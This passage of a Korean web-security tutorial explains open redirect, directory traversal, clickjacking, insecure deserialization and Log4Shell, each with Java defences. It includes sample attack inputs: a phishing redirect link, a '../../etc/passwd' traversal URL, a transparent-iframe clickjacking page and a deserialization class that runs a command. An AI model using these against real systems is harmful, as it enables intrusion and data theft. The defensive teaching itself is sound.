        import org.hibernate.cfg.Configuration;
                
        import java.util.List;
                
        public class HibernateExample {
            public static void main(String[] args) {
                Configuration cfg = new Configuration().configure();
                SessionFactory sessionFactory = cfg.buildSessionFactory();
                Session session = sessionFactory.openSession();
                
                String username = "admin"; // 사용자 입력으로부터 받은 값
                String password = "password"; // 사용자 입력으로부터 받은 값
                
                // HQL (Hibernate Query Language) 쿼리
                String hql = "FROM User WHERE username = :username AND password = :password";
                        
                List<User> users = session.createQuery(hql)
                                          .setParameter("username", username)
                                          .setParameter("password", password)
                                          .list();
                
                if (!users.isEmpty()) {
                    System.out.println("User authenticated");
                } else {
                    System.out.println("Authentication failed");
                }
                
                session.close();
                sessionFactory.close();
            }
        }
        
  • 입력 검증 및 인코딩: 사용자 입력을 철저히 검증하고 인코딩하여 SQL 쿼리에 직접 포함시키지 않는다.
  • 최소 권한 원칙: 데이터베이스 사용자에게 최소한의 권한만 부여

그외 보안 문제들

Open Redirect

Open Redirect는 공격자가 웹 애플리케이션의 리디렉션 기능을 악용하여 사용자를 악성 사이트로 유도하는 공격이다.
 공격 예시를 알아보자. 사용자가 자주 이용하는 금융 웹사이트 http://bank.example.com 이 있다. 사용자는 로그인 페이지로 이동하여 계정 정보를 입력한다. 로그인 후, 사용자가 원래 접근하려던 페이지로 리디렉션되기 위해 URL 파라미터를 통해 리디렉션 URL을 전달받는다. 이를 통해, 로그인 성공 후 redirectUrl 파라미터에 명시된 URL로 사용자를 리디렉션한다.(로그인 폼의 URL: http://bank.example.com/login?redirectUrl=http://bank.example.com/dashboard)
 공격 시나리오는 다음과 같다.

  1. 공격자의 준비: 공격자는 피싱 사이트 http://malicious.example.com을 운영한다. 이 사이트는 실제 금융 웹사이트와 매우 유사하게 보이도록 만들어져 있다.
  2. 공격자는 http://bank.example.com/login?redirectUrl=http://malicious.example.com 링크를 만든다. 이 링크는 사용자가 bank.example.com에 로그인한 후 malicious.example.com으로 리디렉션되도록 설정되어 있다.
  3. 사용자 유도: 공격자는 이메일, 소셜 미디어, 메시지 앱 등을 통해 이 링크를 사용자에게 보낸다. 사용자는 이 링크를 클릭하면, 자신이 신뢰하는 bank.example.com 로그인 페이지로 이동한다.
  4. 사용자 로그인: 사용자는 평소와 같이 bank.example.com에 로그인한다. 로그인 성공 후, 사용자는 자동으로 malicious.example.com으로 리디렉션된다.
  5. 피싱 사이트: 사용자는 리디렉션된 malicious.example.com에서 실제 금융 웹사이트와 매우 유사한 페이지를 보게 된다. 사용자는 자신의 계정 정보를 다시 입력하라고 요구받는다. 사용자가 정보를 입력하면, 이 정보는 공격자에게 전송된다.

 이를 방어하기 위한 기법은 다음과 같다.

  • 허용된 URL 목록 사용
    • 리디렉션할 수 있는 URL 목록을 미리 정의하고, 해당 목록에 포함된 URL로만 리디렉션합니다.
      public class RedirectHandler {
          private static final List<String> ALLOWED_URLS = Arrays.asList(
                  "http://bank.example.com/dashboard",
                  "http://bank.example.com/account",
                  "http://bank.example.com/support"
          );
              
          public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
              String redirectUrl = request.getParameter("redirectUrl");
              if (ALLOWED_URLS.contains(redirectUrl)) {
                  response.sendRedirect(redirectUrl);
              } else {
                  response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
              }
          }
      }
      
  • 입력 검증
    • 리디렉션 대상 URL을 철저히 검증하여, 신뢰할 수 있는 URL로만 리디렉션하도록 합니다.
      public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
          String redirectUrl = request.getParameter("redirectUrl");
          try {
              URL url = new URL(redirectUrl);
              if ("bank.example.com".equals(url.getHost())) {
                  response.sendRedirect(redirectUrl);
              } else {
                  response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
              }
          } catch (MalformedURLException e) {
              response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Malformed URL");
          }
      }
      
  • 상대 경로 사용
    • 리디렉션을 외부 URL이 아닌 애플리케이션 내의 상대 경로로 제한하여 공격을 방지할 수 있습니다.
      public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
          String redirectPath = request.getParameter("redirectPath");
          if (redirectPath != null && redirectPath.startsWith("/")) {
              response.sendRedirect(request.getContextPath() + redirectPath);
          } else {
              response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid path");
          }
      }
      

Directory Traversal

Directory Traversal은 공격자가 웹 애플리케이션의 파일 시스템에서 허용되지 않은 파일이나 디렉토리에 접근할 수 있도록 하는 공격이다. 이는 주로 애플리케이션이 파일 경로를 사용자 입력을 통해 받아서 처리할 때 발생한다.
 예시를 알아보자. 파일 다운로드 기능이 있는 웹 애플리케이션이 있다. 사용자는 파일명을 URL 파라미터로 전달하여 파일을 다운로드할 수 있다. 예를 들어, 다음과 같은 URL을 통해 파일을 다운로드할 수 있다.

http://example.com/download?file=report.pdf

 공격 시나리오는 다음과 같다.

공격자 준비: 공격자는 애플리케이션이 상대 경로를 제대로 검증하지 않는다는 사실을 발견한다.

공격자는 시스템의 중요한 파일에 접근하기 위해 다음과 같은 URL을 만든다.

http://example.com/download?file=../../etc/passwd

파일 접근: 애플리케이션이 사용자가 제공한 파일명을 검증하지 않고 해당 경로의 파일을 열어서 사용자에게 전송한다.

 이를 방어하기 위한 기법은 다음과 같다.

서버 설정 강화 웹 서버 설정을 통해 허용되지 않은 디렉토리 접근을 차단한다.

경로 검증

파일 경로를 검증하여 허용된 디렉토리 내에서만 파일에 접근하도록 한다.

public class SimpleFileDownloadHandler {
    private static final String BASE_DIRECTORY = "/var/www/html/";

    public void handleFileDownload(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String fileName = request.getParameter("file");
        File file = new File(BASE_DIRECTORY + fileName);

        if (!file.getCanonicalPath().startsWith(new File(BASE_DIRECTORY).getCanonicalPath())) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access Denied");
            return;
        }

        if (!file.exists() || !file.isFile()) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND, "File not found");
            return;
        }

        try (FileInputStream fis = new FileInputStream(file)) {
            response.setContentType("application/octet-stream");
            response.setHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
            byte[] buffer = new byte[4096];
            int bytesRead;
            while ((bytesRead = fis.read(buffer)) != -1) {
                response.getOutputStream().write(buffer, 0, bytesRead);
            }
        }
    }
}

허용된 파일 목록 사용

허용된 파일 목록을 미리 정의하고, 해당 목록에 포함된 파일만 접근하도록 한다.

public class SafeFileDownloadHandler {
    private static final String BASE_DIRECTORY = "/var/www/html/";
    private static final List<String> ALLOWED_FILES = Arrays.asList(
            "report.pdf",
            "summary.txt",
            "data.csv"
    );

    public void handleFileDownload(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String fileName = request.getParameter("file");
        if (!ALLOWED_FILES.contains(fileName)) {
            response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access Denied");
            return;
        }

        File file = new File(BASE_DIRECTORY + fileName);
        if (!file.exists() || !file.isFile()) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND, "File not found");
            return;
        }

        try (FileInputStream fis = new FileInputStream(file)) {
            response.setContentType("application/octet-stream");
            response.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\"");
            byte[] buffer = new byte[4096];
            int bytesRead;
            while ((bytesRead = fis.read(buffer)) != -1) {
                response.getOutputStream().write(buffer, 0, bytesRead);
            }
        }
    }
}

Clickjacking

Clickjacking은 공격자가 웹 페이지의 투명한 프레임을 사용하여 사용자가 클릭하도록 유도하는 공격이다. 이를 통해 공격자는 사용자가 알지 못하는 사이에 악성 동작을 수행할 수 있다.
 공격 시나리오는 다음과 같다.

  1. 공격자 준비: 공격자는 사용자가 신뢰하는 사이트의 버튼을 투명한 iframe으로 공격자 웹 페이지에 삽입한다.
  2. 공격자 페이지 제작: 공격자는 다음과 같은 HTML 페이지를 만든다.
     <!DOCTYPE html>
     <html>
     <head>
         <title>Free Gift!</title>
         <style>
             iframe {
                 position: absolute;
                 top: 0;
                 left: 0;
                 width: 100%;
                 height: 100%;
                 opacity: 0;
             }
         </style>
     </head>
     <body>
         <h1>Click here to get a free gift!</h1>
         <iframe src="http://social.example.com/like-button"></iframe>
     </body>
     </html>
    
  3. 사용자 유도: 사용자는 ‘Free Gift!’ 버튼을 클릭한다고 생각하지만, 실제로는 숨겨진 iframe 안의 버튼을 클릭하게 된다.

 이를 방어하기 위한 기법은 다음과 같다.

  • X-Frame-Options 헤더 사용: DENY 또는 SAMEORIGIN 값을 사용하여 웹 페이지가 iframe으로 포함되지 않도록 설정한다.
    • DENY: 어떤 사이트에서도 iframe으로 포함할 수 없다.
    • SAMEORIGIN: 동일 출처에서만 iframe으로 포함할 수 있다.
      @Configuration
      public class FilterConfig {
      
        @Bean
        public FilterRegistrationBean<ClickjackingProtectionFilter> clickjackingFilter() {
            FilterRegistrationBean<ClickjackingProtectionFilter> registrationBean = new FilterRegistrationBean<>();
            registrationBean.setFilter(new ClickjackingProtectionFilter());
            registrationBean.addUrlPatterns("/*");
            return registrationBean;
        }
      }
      
  • Content Security Policy (CSP): CSP 헤더를 사용하여 iframe 포함을 제한한다.
    @Configuration
    @EnableWebSecurity
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
    
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .headers()
                .contentSecurityPolicy("frame-ancestors 'self'")
                .and()
                .frameOptions().deny(); // 또는 .sameOrigin();
        }
    }
    

Sensitive Data Exposure

 Sensitive Data Exposure는 애플리케이션이 민감한 데이터를 충분히 보호하지 않아 공격자가 이를 탈취하는 공격이다. 민감한 데이터가 안전하게 저장되거나 전송되지 않을 때 발생한다. 예를 들어, 비밀번호가 평문으로 저장되거나 신용카드 정보가 암호화되지 않은 채로 전송되는 경우가 있다.
 예시를 알아보자. 공격 시나리오는 다음과 같다.

  1. 평문 비밀번호 저장: 애플리케이션이 사용자의 비밀번호를 평문으로 데이터베이스에 저장한다. 공격자는 데이터베이스를 탈취하여 비밀번호를 쉽게 확인할 수 있다.
  2. 암호화되지 않은 전송: 애플리케이션이 HTTP를 통해 신용카드 정보를 전송한다. 공격자는 네트워크 트래픽을 도청하여 민감한 정보를 탈취할 수 있다.

 이를 방어하기 위한 기법은 다음과 같다.

  • 데이터 암호화: 전송 중인 데이터와 저장된 데이터를 암호화한다.
  • 강력한 암호 정책: 강력한 비밀번호 정책을 적용하고 주기적인 변경을 권장한다.
  • HTTPS 사용: 민감한 데이터를 전송할 때 HTTPS를 사용한다.
  • 접근 제어: 민감한 데이터에 대한 접근을 최소한으로 제한한다.

 참고로 HTTP와 HTTPS는 웹에서 데이터를 전송하는 주요 프로토콜이다.

  • HTTP (HyperText Transfer Protocol)
    • 보안: 데이터가 암호화되지 않고 평문으로 전송된다.
    • 포트: 기본적으로 80번 포트를 사용한다.
    • 사용: 보안이 크게 중요하지 않은 웹사이트에서 사용된다.
  • HTTPS (HyperText Transfer Protocol Secure)
    • 보안: SSL/TLS를 사용하여 데이터를 암호화한다.
    • 포트: 기본적으로 443번 포트를 사용한다.
    • 사용: 로그인, 결제, 개인정보 처리 등 보안이 중요한 웹사이트에서 필수적으로 사용된다.

 따라서 보안이 중요한 모든 웹사이트는 HTTPS를 사용해야 하며, 현대 웹 환경에서는 사실상 기본이라고 볼 수 있다.

Insecure Deserialization

Insecure Deserialization은 공격자가 악의적으로 조작된 객체를 애플리케이션에 전달하여 실행시키는 공격이다. 이를 통해 공격자는 시스템 내에서 임의의 코드를 실행하거나 데이터를 조작할 수 있다. 애플리케이션이 직렬화된 데이터를 역직렬화할 때, 해당 데이터가 신뢰할 수 있는지 검증하지 않으면 공격자가 악의적으로 조작한 데이터를 주입할 수 있다.
 예시를 알아보자. 전자상거래 사이트에서 사용자가 이전 구매 내역 파일을 업로드하고, 서버는 이 데이터를 역직렬화하여 객체로 변환한다고 가정한다.
 공격 시나리오는 다음과 같다.

  1. 공격자는 역직렬화될 때 악성 코드를 실행하도록 설계된 객체를 만든다.
  2. 공격자는 악성 직렬화 데이터를 업로드한다.
     public class MaliciousObject implements Serializable {
         private static final long serialVersionUID = 1L;
    
         private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
             ois.defaultReadObject();
             Runtime.getRuntime().exec("calc.exe");
         }
     }
    
     public class SerializeMaliciousObject {
         public static void main(String[] args) {
             try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("malicious.obj"))) {
                 oos.writeObject(new MaliciousObject());
             } catch (IOException e) {
                 e.printStackTrace();
             }
         }
     }
    
  3. 서버가 이를 검증 없이 역직렬화하면 악성 코드가 실행될 수 있다.

 이를 방어하기 위한 기법은 다음과 같다.

  • 데이터 검증: 역직렬화된 객체가 예상된 타입인지 검증하여, 신뢰할 수 없는 객체를 역직렬화하지 않도록 한다.
  • 안전한 라이브러리 사용: Java 기본 직렬화 대신, 안전한 직렬화 라이브러리를 사용하여 역직렬화 과정에서의 보안을 강화할 수 있다.(JSON 데이터로 직렬화 및 역직렬화)

 참고로 직렬화와 역직렬화 개념은 다음과 같다.

  • 직렬화 (Serialization): 객체를 저장하거나 전송하기 위해 바이트 스트림으로 변환하는 과정이다.
  • 역직렬화 (Deserialization): 바이트 스트림을 다시 객체 형태로 복원하는 과정이다.

Insufficient Logging & Monitoring

Insufficient Logging & Monitoring은 애플리케이션이 적절한 로그를 기록하지 않거나, 이상 행동을 감시하지 않아 공격을 조기에 발견하지 못하는 경우이다.
 이를 방어하기 위한 기법은 다음과 같다.

  • 포괄적인 로깅: 중요한 이벤트와 에러를 포괄적으로 로그로 기록한다.
  • 실시간 모니터링: 실시간 모니터링 시스템을 사용하여 이상 행동을 감지한다.
  • 로그 검토: 주기적으로 로그를 검토하여 이상 징후를 발견하고 대응한다.

CVE, CVSS

CVE (Common Vulnerabilities and Exposures)는 특정 소프트웨어 및 하드웨어의 취약점을 고유하게 식별하기 위해 사용되는 표준화된 명명 시스템이다. 각 CVE 항목은 고유한 CVE ID를 부여받으며, 해당 취약점을 참조할 때 일관된 명칭을 제공한다. CVE 프로그램은 MITRE에 의해 관리되며, 보안 취약점을 식별하고 공유할 때 널리 사용된다.
CVSS (Common Vulnerability Scoring System)는 취약점의 심각성을 정량적으로 측정하기 위한 방법론이다. CVSS 점수는 0에서 10까지의 범위를 가지며, 점수가 높을수록 더 심각한 취약점임을 의미한다.
 즉, CVE는 취약점의 이름표, CVSS는 그 취약점의 위험도 점수라고 이해하면 쉽다.

Log4j 취약점 사태

 Log4j 취약점 사태는 2021년 12월 초에 발견된 심각한 보안 취약점 사건으로, Apache Software Foundation에서 개발한 Log4j 2 라이브러리에서 발생했다. 이 취약점은 CVE-2021-44228로 등록되었으며, 일반적으로 Log4Shell이라고 불린다.
 Log4j는 많은 자바 기반 애플리케이션과 서버에서 사용되었기 때문에, 이 취약점은 전 세계적으로 매우 큰 영향을 미쳤다. 취약점의 핵심은, 해커가 로그에 기록되는 입력값을 악용하여 원격 코드 실행까지 유도할 수 있었다는 점이다.
 이 사태의 영향은 다음과 같다.

  • 광범위한 영향: 수많은 자바 기반 시스템과 서버가 위험에 노출되었다.
  • 즉각적인 패치 필요: 취약점 공개 직후 여러 조직이 긴급 대응과 업데이트를 수행해야 했다.
  • 대규모 공격 시도: 짧은 시간 안에 수많은 실제 공격 시도가 발생했다.

대응 방법은 다음과 같다.

  • 패치 배포: Apache는 취약점을 해결하기 위해 Log4j 2.15.0 버전을 신속히 배포했다. 이후 추가 문제를 해결하기 위한 후속 패치도 이어졌다.
  • 보안 권고 확인: 각국 보안 기관과 주요 IT 기업들이 보안 권고를 발표했고, 최신 버전으로의 업데이트가 강하게 권장되었다.
  • 라이브러리 점검: 현재 프로젝트에서 사용하는 오픈소스 라이브러리 버전을 주기적으로 점검하는 것이 중요하다.

댓글남기기